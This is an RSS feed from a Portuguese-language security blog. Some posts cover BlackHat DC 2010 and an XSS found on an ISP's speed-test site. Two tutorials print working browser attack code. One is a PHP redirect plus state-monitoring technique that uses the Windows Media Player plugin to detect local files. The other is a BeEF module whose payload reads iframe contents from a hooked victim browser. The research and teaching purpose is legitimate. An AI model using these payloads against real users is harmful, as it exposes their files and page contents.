<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Falando de Segurança</title>
	<atom:link href="http://www.falandodeseguranca.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.falandodeseguranca.com</link>
	<description>Por Gabriel Lima</description>
	<lastBuildDate>Mon, 08 Feb 2010 22:19:08 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Meus (video)comentários sobre a BlackHat DC 2010</title>
		<link>http://www.falandodeseguranca.com/2010/02/meus-videocomentarios-sobre-a-blackhat-dc-2010/</link>
		<comments>http://www.falandodeseguranca.com/2010/02/meus-videocomentarios-sobre-a-blackhat-dc-2010/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 22:19:04 +0000</pubDate>
		<dc:creator>Gabriel Coutinho de Lima</dc:creator>
				<category><![CDATA[Blackhat]]></category>
		<category><![CDATA[comentarios]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=295</guid>
		<description><![CDATA[Mil perdões pela demora. Mas aí está o vídeo com meus comentários sobre a BlackHat DC 2010, onde falo um pouco sobre a organização do evento e comento palestra por palestra que tive a oportunidade de ver. Fotos em breve!

]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F02%2Fmeus-videocomentarios-sobre-a-blackhat-dc-2010%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F02%2Fmeus-videocomentarios-sobre-a-blackhat-dc-2010%2F" height="61" width="51" /></a></div><p><a rel="attachment wp-att-285" href="http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-horarios-e-etc/blackhat/"><img class="aligncenter size-full wp-image-285" title="blackhat" src="http://www.falandodeseguranca.com/wp-content/uploads/2010/01/blackhat.png" alt="" width="500" height="80" /></a>Mil perdões pela demora. Mas aí está o vídeo com meus comentários sobre a BlackHat DC 2010, onde falo um pouco sobre a organização do evento e comento palestra por palestra que tive a oportunidade de ver. Fotos em breve!</p>
<p><embed src="http://blip.tv/play/AYHD7A4C" type="application/x-shockwave-flash" width="480" height="390" allowscriptaccess="always" allowfullscreen="true"></embed></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2010/02/meus-videocomentarios-sobre-a-blackhat-dc-2010/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Blackhat-DC 2010: Horários e etc.</title>
		<link>http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-horarios-e-etc/</link>
		<comments>http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-horarios-e-etc/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 19:03:00 +0000</pubDate>
		<dc:creator>Gabriel Coutinho de Lima</dc:creator>
				<category><![CDATA[Blackhat]]></category>
		<category><![CDATA[evento]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=284</guid>
		<description><![CDATA[
Dentro de algumas horas embarcarei no aeroporto de guarulhos, com destino ao Hyatt Regency Crystal City, em Arlington, Virginia, EUA, onde nos dias 2 e 3 de fevereiro acontecerão as palestras da Blackhat-DC 2010. Ao andar da viagem, postarei detalhes em meu twitter. Outras informações de minha ida e sobre o evento, neste post.
A tabela [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F01%2Fblackhat-dc-2010-horarios-e-etc%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F01%2Fblackhat-dc-2010-horarios-e-etc%2F" height="61" width="51" /></a></div><p><a rel="attachment wp-att-285" href="http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-horarios-e-etc/blackhat/"><img class="aligncenter size-full wp-image-285" title="blackhat" src="http://www.falandodeseguranca.com/wp-content/uploads/2010/01/blackhat.png" alt="" width="500" height="80" /></a></p>
<p>Dentro de algumas horas embarcarei no aeroporto de guarulhos, com destino ao Hyatt Regency Crystal City, em Arlington, Virginia, EUA, onde nos dias 2 e 3 de fevereiro acontecerão as palestras da Blackhat-DC 2010. Ao andar da viagem, postarei detalhes <a href="http://twitter.com/gabrielpato">em meu twitter</a>. Outras informações de minha ida e sobre o evento, <a href="http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-acompanh-no-falandodeseguranca/">neste post</a>.</p>
<p><strong><a href="http://www.falandodeseguranca.com/blackhat-horarios.html">A tabela com os horários das palestras (incluindo os horários do brasil) pode ser vista clicando aqui.</a></strong> Em <span style="color: #ff0000;">vermelho</span>, são as que irei. <em><span style="color: #999999;">(Sim, ainda estou na dúvida em uma das palestras no segundo dia. Palestras de qualidade em um mesmo horário, complicado decidir! )</span></em></p>
<p>Sigam o evento pelo Falando de Segurança!</p>
<p>Abraços a todos, e até mais!</p>
<p>Fonte: <strong><a href="http://www.blackhat.com">Blackhat.com</a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-horarios-e-etc/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Blackhat DC 2010: Acompanhe no FalandoDeSegurança!</title>
		<link>http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-acompanh-no-falandodeseguranca/</link>
		<comments>http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-acompanh-no-falandodeseguranca/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 19:13:42 +0000</pubDate>
		<dc:creator>Gabriel Coutinho de Lima</dc:creator>
				<category><![CDATA[Blackhat]]></category>
		<category><![CDATA[Sobre o Blog]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=278</guid>
		<description><![CDATA[
O hotel Hyatt Regency Crystal City (Arlington, Virginia, EUA) será, mais uma vez, palco da BlackHat DC, o principal evento da area de segurança da informação, que reune pesquisadores de todo o mundo. Serão dias de treinamentos e palestras que divulgarão o resultado de trabalhos de pesquisas, exibindo novas técnicas, vulnerabilidades e discutindo segurança em [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F01%2Fblackhat-dc-2010-acompanh-no-falandodeseguranca%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F01%2Fblackhat-dc-2010-acompanh-no-falandodeseguranca%2F" height="61" width="51" /></a></div><p><img class="aligncenter" title="Blackhat" src="http://www.blackhat.com/images/BHDC2010-banner.png" alt="" width="500" height="80" /></p>
<p>O hotel <a href="http://www.crystalcity.hyatt.com/hyatt/hotels/index.jsp">Hyatt Regency Crystal City</a> (Arlington, Virginia, EUA) será, mais uma vez, palco da <a href="http://www.blackhat.com"><strong>BlackHat DC,</strong></a> o principal evento da area de segurança da informação, que reune pesquisadores de todo o mundo. Serão dias de treinamentos e palestras que divulgarão o resultado de trabalhos de pesquisas, exibindo novas técnicas, vulnerabilidades e discutindo segurança em diversos pontos de vista. Durante os dias 31 de janeiro e 1 de fevereiro, acontecerão <a href="http://www.blackhat.com/html/bh-dc-10/training/bh-dc-10-training_complete.html">treinamentos diversos</a> e finalmente, nos dias 2 e 3 de fevereiro, as <a href="http://www.blackhat.com/html/bh-dc-10/bh-dc-10-briefings.html">palestras</a>.</p>
<p>Infelizmente, não há edições do evento realizadas no Brasil, e, por tanto, além de termos de arcar com os pesados custos de viagem para vermos tudo de perto, há também o salgado valor de entrada. A super-antecipada (antes de divulgarem os temas das palestras), ficou em torno de $1100 dollars. &#8220;Facada&#8221; ou não, nós, profissionais da segurança, sempre estaremos de olho nas edições da Blackhat. Não tenho dúvidas de que a qualidade do evento será recompensante.</p>
<p>Os <a href="http://www.blackhat.com/html/bh-dc-10/bh-dc-10-schedule.html">horários das palestras já estão disponíveis no site do evento</a>. A curiosidade é que, no segundo dia, haverá uma série de palestras abordando assuntos relacionados ao <strong><a href="http://www.metasploit.com/">Metasploit</a></strong> e sendo finalizado por uma palestra do grande <a href="http://twitter.com/hdmoore">HD Moore</a> (criador do projeto), comentando toda a evolução do mesmo e sobre a aquisição do Metasploit pela <strong><a href="http://www.rapid7.com/">Rapid7</a>.</strong></p>
<p>Eu (Gabriel), estarei lá para conferir. A cada palestra enviarei meus comentários no blog, fazendo um resumo do dia pela noite. Este resumo também estará disponível no site <strong><a href="http://www.oxenti.com">Oxenti.com</a></strong> . Ao término do evento, postarei vídeos e fotos capturadas. Também estarei twittando de lá, desde os perdidos momentos em aeroportos até durante as grandes palestras, pelo <a href="http://www.twitter.com/gabrielpato"><strong>@gabrielpato</strong></a> . Viajo no dia 31 de janeiro, à noite, chegando lá no início da tarde do dia 1 de fevereiro, e meu retorno será no dia 4 de fevereiro, pelo final da tarde, chegando na manhã do dia 5.</p>
<p>Em breve divulgarei qual das palestras irei, visto que, infelizmente, acontecem 3 simultaneamente.<br />
Por enquanto é só. Se for à Blackhat, avise nos comentários que marcaremos algo por lá!</p>
<p>Fique ligado  ; )</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-acompanh-no-falandodeseguranca/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Site de teste da Ajato (TVA) revela informações do usuário</title>
		<link>http://www.falandodeseguranca.com/2009/12/site-de-teste-da-ajato-tva-revela-informacoes-do-usuario/</link>
		<comments>http://www.falandodeseguranca.com/2009/12/site-de-teste-da-ajato-tva-revela-informacoes-do-usuario/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 06:20:43 +0000</pubDate>
		<dc:creator>Gabriel Coutinho de Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[ajato]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=273</guid>
		<description><![CDATA[ Um &#8220;cross-site scripting&#8221; e uma série de informações desnecessárias sendo exibidas ao usuário.  Esses foram os dois fatores necessários que fizeram do site de Teste de Velocidade da provedora Ajato\TVA (http://testevelocidade.ajato.com.br), uma ameaça a seus próprios usuários.  Em forma de video-post, mostrei que de forma muito simples, é possível extrair informações como o IP [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F12%2Fsite-de-teste-da-ajato-tva-revela-informacoes-do-usuario%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F12%2Fsite-de-teste-da-ajato-tva-revela-informacoes-do-usuario%2F" height="61" width="51" /></a></div><p><img class="alignleft size-full wp-image-274" title="ajato" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/12/ajato.jpg" alt="ajato" width="169" height="126" /> Um &#8220;cross-site scripting&#8221; e uma série de informações desnecessárias sendo exibidas ao usuário.  Esses foram os dois fatores necessários que fizeram do site de Teste de Velocidade da provedora Ajato\TVA (<a href="http://testevelocidade.ajato.com.br" target="_blank">http://testevelocidade.ajato.com.br</a>), uma ameaça a seus próprios usuários.  Em forma de video-post, mostrei que de forma <strong>muito simples</strong>, é possível extrair informações como o IP interno e MAC do modem, velocidade do plano de internet e nível de sinal, com pouquissimas linhas de código e sem exigir qualquer interação da vítima, graças ao script do teste de velocidade da Ajato, que expõe sem a menor necessidade tais informações. Confesso que quando as vi pela primeira vez, custei a acreditar.</p>
<p>Se quiser ir direto ao site da prova de conceito (PoC), veja <a href="http://www.falandodeseguranca.com/exemplo/ajato.html" target="_blank"><strong>clicando aqui</strong></a> (Obviamente, apenas para usuários Ajato).</p>
<p><center>															<object type="application/x-shockwave-flash" data="http://blip.tv/scripts/flash/showplayer.swf?enablejs=true&#038;file=http%3A//blip.tv/rss/flash/2934353&#038;feedurl=http%3A//falandodeseguranca.blip.tv/rss/&#038;autostart=false&#038;brandname=falandodeseguranca&#038;brandlink=http%3A//falandodeseguranca.blip.tv/" width="800" height="600" allowfullscreen="true" id="showplayer"><param name="movie" value="http://blip.tv/scripts/flash/showplayer.swf?enablejs=true&#038;file=http%3A//blip.tv/rss/flash/2934353&#038;feedurl=http%3A//falandodeseguranca.blip.tv/rss/&#038;autostart=false&#038;brandname=falandodeseguranca&#038;brandlink=http%3A//falandodeseguranca.blip.tv/" /><param name="quality" value="best" /></object>										</center></p>
<p>Dê seu Feedback via comentários ou tweets! Colabore com a divulgação clicando no botão de RT <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Qualquer dúvida, é só gritar.</p>
<p>Até a próxima, pessoal!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/12/site-de-teste-da-ajato-tva-revela-informacoes-do-usuario/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Plugin do Media Player expõe existência de arquivos.</title>
		<link>http://www.falandodeseguranca.com/2009/11/plugin-do-media-player-expoe-existencia-de-arquivos/</link>
		<comments>http://www.falandodeseguranca.com/2009/11/plugin-do-media-player-expoe-existencia-de-arquivos/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 22:40:37 +0000</pubDate>
		<dc:creator>Gabriel Coutinho de Lima</dc:creator>
				<category><![CDATA[Navegadores]]></category>
		<category><![CDATA[media player]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=263</guid>
		<description><![CDATA[ Por alguns anos, trabalhei com streaming de áudio e vídeo. Um software que fez parte constante de meu trabalho foi o Windows Media Player. Não posso negar, seu plugin (objeto) para browsers traz uma série de recursos que muitos desconhecem.  Com a excelente documentação disponível na MSDN em mãos, você poderá criar um player [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F11%2Fplugin-do-media-player-expoe-existencia-de-arquivos%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F11%2Fplugin-do-media-player-expoe-existencia-de-arquivos%2F" height="61" width="51" /></a></div><p><img class="alignleft size-full wp-image-265" title="Windows media player_128" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/11/Windows-media-player_128.png" alt="Windows media player_128" width="114" height="114" /> Por alguns anos, trabalhei com streaming de áudio e vídeo. Um software que fez parte constante de meu trabalho foi o <strong>Windows Media Player</strong>. Não posso negar, seu plugin (objeto) para browsers traz uma série de recursos que muitos desconhecem.  Com a <a href="http://msdn.microsoft.com/en-us/library/dd563945%28VS.85%29.aspx" target="_blank">excelente documentação disponível na MSDN</a> em mãos, você poderá criar um player dinâmico, tratando playlists, enviando erros durante o streaming ao servidor, anotando banda usada, pacotes perdidos, etc, tudo por JavaScript.</p>
<p>Claro que nem tudo é belo e devo parar meus elogios por aqui. Vocês bem sabem: Mais recursos, mais lugares para uma falha aparecer. E é, apareceu.</p>
<p>Esqueça a principal função de um player. Deixemos pra lá as mp3s ou vídeos que ele deveria tocar. Vamos unir tudo aquilo que o plugin nos oferece e então, no post de hoje, veremos<strong> como detectar de arquivos locais do computador do usuário</strong> <strong>usando o objeto do Windows Media Player para navegadores</strong>.</p>
<p>Quando solicitamos ao player embutido no navegador que conecte-se à determinada URL ou arquivo local, uma série de ações ocorrem. O WMP, precisa, por exemplo, conectar-se à url, receber uma playlist, enviar o request pela mídia a ser executada, etc.</p>
<p>Cada etapa do carregamento da mídia pode ser obtida pela propriedade <em>player.</em><strong>openState</strong>, que retorna o ID correspondente a ação atual, e a cada mudança de etapa o evento <em>player</em><strong><em>.</em>OpenStateChange </strong>é acionado. Não há nenhuma relação entre os IDs e um mesmo evento pode ser chamado mais de uma vez durante o processo.</p>
<p>Aí então, fica bem simples entender a mágica do funcionamento da detecção. O player terá estados diferentes ao encontrar ou não o arquivo, e, monitorando as mudanças, teremos a informação que desejamos.</p>
<p>O único problema é que o WMP abrirá apenas arquivos que possa interpretar, como mp3, wmv, avi, etc, e, certamente, queremos ter a liberdade de detectar todas as demais extenções.</p>
<p>Quando pedimos para abrir um arquivo que ele não reconheça como mídia, ele perguntará ao usuário se deseja continuar, avisando, ainda, a extenção solicitada. Isso mandaria pro saco nossa detecção, não é mesmo?</p>
<p>É aí que o autor do blog <strong>lrv.ch.vu</strong> <span style="color: #888888;">(..que nome, hein?)</span> fez uma descoberta que faz ignorar esta pergunta: Ele percebeu que quando executamos no player uma url HTTP que retorne um redirecionamento para o endereço que queremos testar (como <strong>file://boot.ini,</strong> por exemplo), o player irá continuar normalmente, sem pedir qualquer interação.</p>
<p>Infelizmente, o post no blog citado não oferece muitos detalhes. Ele não diz, por exemplo, qual o tipo de redirecionamento (301 ou 302) é necessário, e, pra completar, sua página de exemplo, que usa formulários php e jquery, não teve detalhes exibidos. A didática foi pro saco.</p>
<p>Como já estava com a mão na massa e já havia programado alguns testes, resolvi seguir a dica do redirecionamento e dar sequencia. O gringo lá tinha razão. O redirecionamento HTTP &#8220;<strong>302</strong>&#8221; (Moved Temporarily) faz o player seguir o caminho sugerido e continuar a execução. Já com o código 301 não tive sucesso.</p>
<p>Já com o redirecionamento feito e a mudança de estado sendo monitorada pelo evento openStateChange, veja, abaixo, como a detecção é feita:</p>
<p>Eventos que ocorrem ao carregar<strong> </strong>um arquivo inexistente pelo redirecionamento:<strong> file://teste.exe<br />
</strong></p>
<p>ESTADO: <strong>21</strong><br />
ESTADO:<strong> 6</strong><br />
ESTADO: <strong>6</strong><br />
ESTADO: <strong>6</strong></p>
<p>Eventos que ocorrem ao carregar<strong> </strong>um arquivo existente pelo redirecionamento:<strong> file://boot.ini </strong></p>
<p>ESTADO: <strong>21 &#8211; </strong>Opening a URL with an unknown type.<br />
ESTADO:<strong> 6</strong> &#8211; Playlist is open.<br />
ESTADO: <span style="color: #ff0000;"><strong>8</strong></span> <span style="color: #ff0000;">- A new media item is about to be loaded.</span><br />
ESTADO: <strong>6</strong> &#8211; Playlist is open.<br />
ESTADO: <strong>6 &#8211; </strong>Playlist is open.</p>
<p>Opa! Olha lá! O openState 8 só ocorre quando o arquivo existe. Temos em mãos o poder de verificar a existência de arquivos locais!</p>
<p>Programei um scanner que, rapidinho, pode verificar uma lista de arquivos e dizer quais existem. O código está limpo e você pode ficar a vontade para ler e aprender. Abaixo, segue o código do arquivo wmp.php chamado, que cria o redirecionamento necessário para a verificação:</p>
<pre name="code" class="php">
&lt;?php
header("HTTP/1.1 302 Moved Temporarily");
header("Location: file:///".$_GET['arquivo']);
?&gt;
</pre>
<p><strong><a href="http://www.falandodeseguranca.com/exemplo/wmp.html" target="_blank">Entre já na página de testes que criei, clique aqui!</a></strong> <em>(Internet Explorer, apenas)</em><br />
Caso queira ver todos os possíveis IDs do openState e suas respectivas descrições, <a href="http://msdn.microsoft.com/en-us/library/dd564037%28VS.85%29.aspx" target="_blank">veja este link da MSDN.</a></p>
<p>Por hoje é só. Se você conferir os posts anteriores, de como criar módulos para BeEF, perceberá que facilmente você pode migrar essa detecção de arquivos locais para um módulo.</p>
<p>Feedbacks são SEMPRE bem vindos. Comente!</p>
<p>Até a próxima!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/11/plugin-do-media-player-expoe-existencia-de-arquivos/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>BeEF: Como programar Módulos (pt 2) &#8211; Módulo &#8220;Iframe Tools&#8221;</title>
		<link>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/</link>
		<comments>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/#comments</comments>
		<pubDate>Fri, 23 Oct 2009 05:25:30 +0000</pubDate>
		<dc:creator>Gabriel Coutinho de Lima</dc:creator>
				<category><![CDATA[Desenvolvimento, Frameworks, etc]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[módulo]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=249</guid>
		<description><![CDATA[Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o Browser Exploitation Framework, ou BeEF. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um complemento.
Nossa tarefa será aumentar a [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-como-programar-modulos-pt-2-modulo-iframe-tools%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-como-programar-modulos-pt-2-modulo-iframe-tools%2F" height="61" width="51" /></a></div><p><img class="alignleft size-full wp-image-214" title="beef" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/beef1.jpg" alt="beef" width="187" height="139" />Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o <strong>Browser Exploitation Framework</strong>, ou <strong>BeEF</strong>. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, <a href="http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/">corra para lá</a>, pois o conteúdo de hoje não passa de um complemento.</p>
<p>Nossa tarefa será <strong>aumentar a complexidade do módulo adicionando opções configuráveis. </strong> Sendo assim, ao contrário do módulo &#8220;URL Crawler&#8221;, onde bastava apertar o botão para explorar, teremos um formulário com opções que<strong> </strong>vão definir o que será processado pelo zumbie.</p>
<h3><span style="color: #ff6600;"># Módulo: &#8220;Iframe Tools&#8221;</span></h3>
<p><span style="color: #000000;"> </span>Ok, eu confesso: Minha criatividade hoje não está em um bom dia. Mas que fique claro: O que vale é passar o conteúdo. Por favor, desconsidere o nome brega.</p>
<p>Nosso módulo terá duas funções:</p>
<ul>
<li>Listar todos os iframes disponíveis na página, retornando nome e ID.</li>
<li>Caso tenha sido especificado um nome ou ID, retornar o código HTML que esta sendo exibido dentro deste iframe.</li>
</ul>
<p>Obviamente, estas funções poderiam (e, em minha opnião, deveriam) ser divididas em dois módulos. Elas estão juntas aqui para demonstrarmos como trabalhar com opções, e para que possamos aprender mais <strong>fugindo dos padrões</strong>.</p>
<h3><span style="color: #ff6600;">1# Estrutura e o Arquivo de Nome<br />
</span></h3>
<p>Conforme expliquei na parte 1, crie a pasta específica para este módulo com o nome de <strong>iframe_tools</strong> dentro do diretório de módulos da categoria que preferir. Crie, também, o arquivo <strong>name.txt</strong> contendo apenas <strong>Iframe Tools</strong> . Até aqui, nada muda .. mas só até aqui.</p>
<h3><span style="color: #ff6600;">2# O Payload (JavaScript)</span></h3>
<p>Se lembra do Código JavaScript (payload) que é enviado e executado no navegador do Zumbie? Por padrão, como expliquei, o arquivo usado chama-se <strong>template.js</strong>. Porém, isto tudo não passa de um modelo, e, desta vez faremos diferente. Para que possamos deixar o código final a ser enviado menor, criaremos um arquivo para cada uma das funções que citei.</p>
<p>Teremos então:</p>
<ul>
<li><strong>template-lista.js :</strong> Lista e retorna os iframes na página</li>
<li><strong>template-le.js : </strong>Lê o conteúdo do iframe previamente especificado.</li>
</ul>
<p>O primeiro (template-lista.js) é semelhante ao &#8220;URL Crawler&#8221;. Basta ler e retornar as informações. Não é necessário verificar configurações previamente estabelecidas, não é mesmo? Então, vamos a ele:</p>
<pre name="code" class="js">
function do_main(){
var iframes = document.getElementsByTagName("iframe");
for ( var i in iframes ) {
if(iframes[i].src) {
retorno = retorno + '\n ID: ' + i + '  SRC:' + iframes[i].src; }
}
}

var retorno = '';
do_main();
return_result(result_id, ((retorno) ? retorno : "Nenhum Iframe encontrado") );
</pre>
<p>O código é muito simples: Verifica as tags &lt;iframe&gt; que possuam um src já definido (ou seja, que já estão em uma página) e retorna ao BeEF uma relação de IDs e seus respectivos SRCs. Assim será possível definir qual iframe desejamos obter o conteúdo.</p>
<p>Falando em obter conteúdo, eis o simples  código que fará esta função. Ele ficará no arquivo<strong> template-le.js </strong> e, obviamente, <strong>requer uma informação que deve ser previamente definida</strong>: O ID do elemento Iframe que ele deve retornar o conteúdo. Para isto, devemos usar no lugar desta informação uma palavra-chave que será, depois, substituida pelo valor. Neste caso, usaremos a palavra <strong>IFRAME-ID<br />
</strong></p>
<pre name="code" class="js">
return_result(result_id, window.frames[IFRAME-ID].document.getElementsByTagName("body")[0].innerHTML);
</pre>
<p>Atenção:  As palavras que serão substituídas não são variáveis do JavaScript, e sim palavras quaisquer. <strong>Nunca</strong> use palavras que sejam de uso comúm da linguagem, ou que sejam usadas no script, caso contrário, as demais ocorrências também serão substituídas.</p>
<h3><span style="color: #ff6600;">3# A Página de controle do Módulo (index.php)</span></h3>
<p>Ao contrário do último post, que quase não alteramos este arquivo, o teremos agora como foco principal.</p>
<p>Mais do que apenas um formulário de envio, o index.php faz o preparo do código a ser enviado. É ele quem carregará o payload para o envio e fará as mudanças necessárias, como a substituição de palavras-chave por valores definidos.</p>
<p>Lembre-se de que estamos usando dois payloads em um único módulo. É aqui que faremos a verificação de qual payload deve ser usado em cada situação.</p>
<p>No início do arquivo, criamos definições para &#8220;chamarmos&#8221; nossos payloads (javascript) de forma mais amigável, além de incluir um arquivo exigido pelo BeEF.</p>
<pre name="code" class="php">
&#x3C;&#x3F;
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
// Módulo por: Gabriel Lima - www.falandodeseguranca.com
// gabriel(@)falandodeseguranca.com

require_once("../../../include/common.inc.php"); // included for get_b64_file()

// Criamos definições para nossos 2 arquivos de payloads javascript.
DEFINE('JS_FILE_LISTA', './template-lista.js');
DEFINE('JS_FILE_LE', './template-le.js');
&#x3F;&#x3E;
</pre>
<p>Agora trabalharemos com JavaScript. Na função get_b64_code_cb, os dois payloads serão chamados e convertidos para base64. Criaremos uma variável para cada um (b64codelista e b64codele).  No caso da leitura do conteúdo de um iframe, é necessário substituir a palavra-chave <strong>IFRAME-ID</strong> (que criamos em #2) pelo valor digitado no campo &#8220;idiframe&#8221; do form de nome &#8220;myform&#8221;. A função também define qual payload será enviado, verificando se o campo está ou não em branco.</p>
<pre name="code" class="js">
&lt;script&gt;

function get_b64_code_cb() {
// javascript is loaded from a file - it could be hard coded
var b64codelista = '&lt;? echo get_b64_file(JS_FILE_LISTA); ?&gt;';
var b64codele = '&lt;? echo get_b64_file(JS_FILE_LE); ?&gt;';

b64codele = b64replace(b64codele, "IFRAME-ID",document.myform.idiframe.value);

return ((document.myform.idiframe.value) ? b64codele : b64codelista);
}

Element.Methods.set_autorun = function() {
ar.enable('Iframe Tools', get_b64_code_cb());
}

Element.Methods.send_now = function() {
do_send(get_b64_code_cb());
}

// add construct code to DOM
Element.addMethods();

&lt;/script&gt;
</pre>
<p>Finalmente, criamos o formulário, seguindo as especificações usadas no JavaScript para que o campo seja lido.</p>
<pre name="code" class="html">
&lt;div id="module_header"&gt;Iframe Tools&lt;/div&gt;
Lista ou retorna o HTML de um Iframe.&lt;br&gt;&lt;br&gt;
&lt;div id="module_subsection"&gt;
&lt;form name="myform"&gt;
ID do Iframe: &lt;input type="text" name="idiframe" value=""/&gt; &lt;i&gt;(Em branco: Lista Iframes)&lt;/i&gt;
&lt;input type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/&gt;
&lt;input type="button" value=" Send Now " onClick="javascript:send_now()"/&gt;
&lt;/form&gt;
&lt;/div&gt;
</pre>
<h3><span style="color: #ff6600;">4# Tudo pronto!</span></h3>
<p>Temos tudo pronto e funcionando. Veja, abaixo, nosso módulo em ação:</p>
<p><strong>Sem especificar ID (lista Iframes):</strong></p>
<p><img class="aligncenter size-full wp-image-255" title="iframetools1" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/iframetools1.jpg" alt="iframetools1" width="655" height="179" /></p>
<p><strong>Ao especificar um ID (retorna conteúdo do Iframe):</strong></p>
<p><img class="aligncenter size-full wp-image-254" title="iframetools2" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/iframetools2.jpg" alt="iframetools2" width="655" height="179" /></p>
<p>É isso! Dúvidas e feedback: Envie um comentário neste post ou tweet para @gabrielpato <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Até a próxima!</p>
<p><span style="color: #ff6600;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
